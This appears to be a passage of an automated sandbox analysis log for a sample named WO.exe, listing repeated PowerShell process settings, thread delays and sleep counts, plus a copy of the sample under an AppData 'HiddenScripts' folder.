Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5850	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3893	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3699	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6036	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8497
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 927
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8020
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1422
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4804
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2035
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5291
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1751
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7924
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1679
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4232
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2187

Source: C:\Users\user\Desktop\WO.exe TID: 6948	Thread sleep count: 245 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308	Thread sleep count: 5850 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1544	Thread sleep count: 3893 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2260	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5960	Thread sleep count: 3699 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5960	Thread sleep count: 6036 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2332	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe TID: 4464	Thread sleep count: 125 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe TID: 5928	Thread sleep count: 124 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7044	Thread sleep count: 8497 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7044	Thread sleep count: 927 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2800	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7048	Thread sleep count: 8020 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7048	Thread sleep count: 1422 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1196	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308	Thread sleep count: 4804 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308	Thread sleep count: 2035 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7068	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6184	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6356	Thread sleep count: 5291 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6356	Thread sleep count: 1751 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7044	Thread sleep time: -2767011611056431s >= -30000s
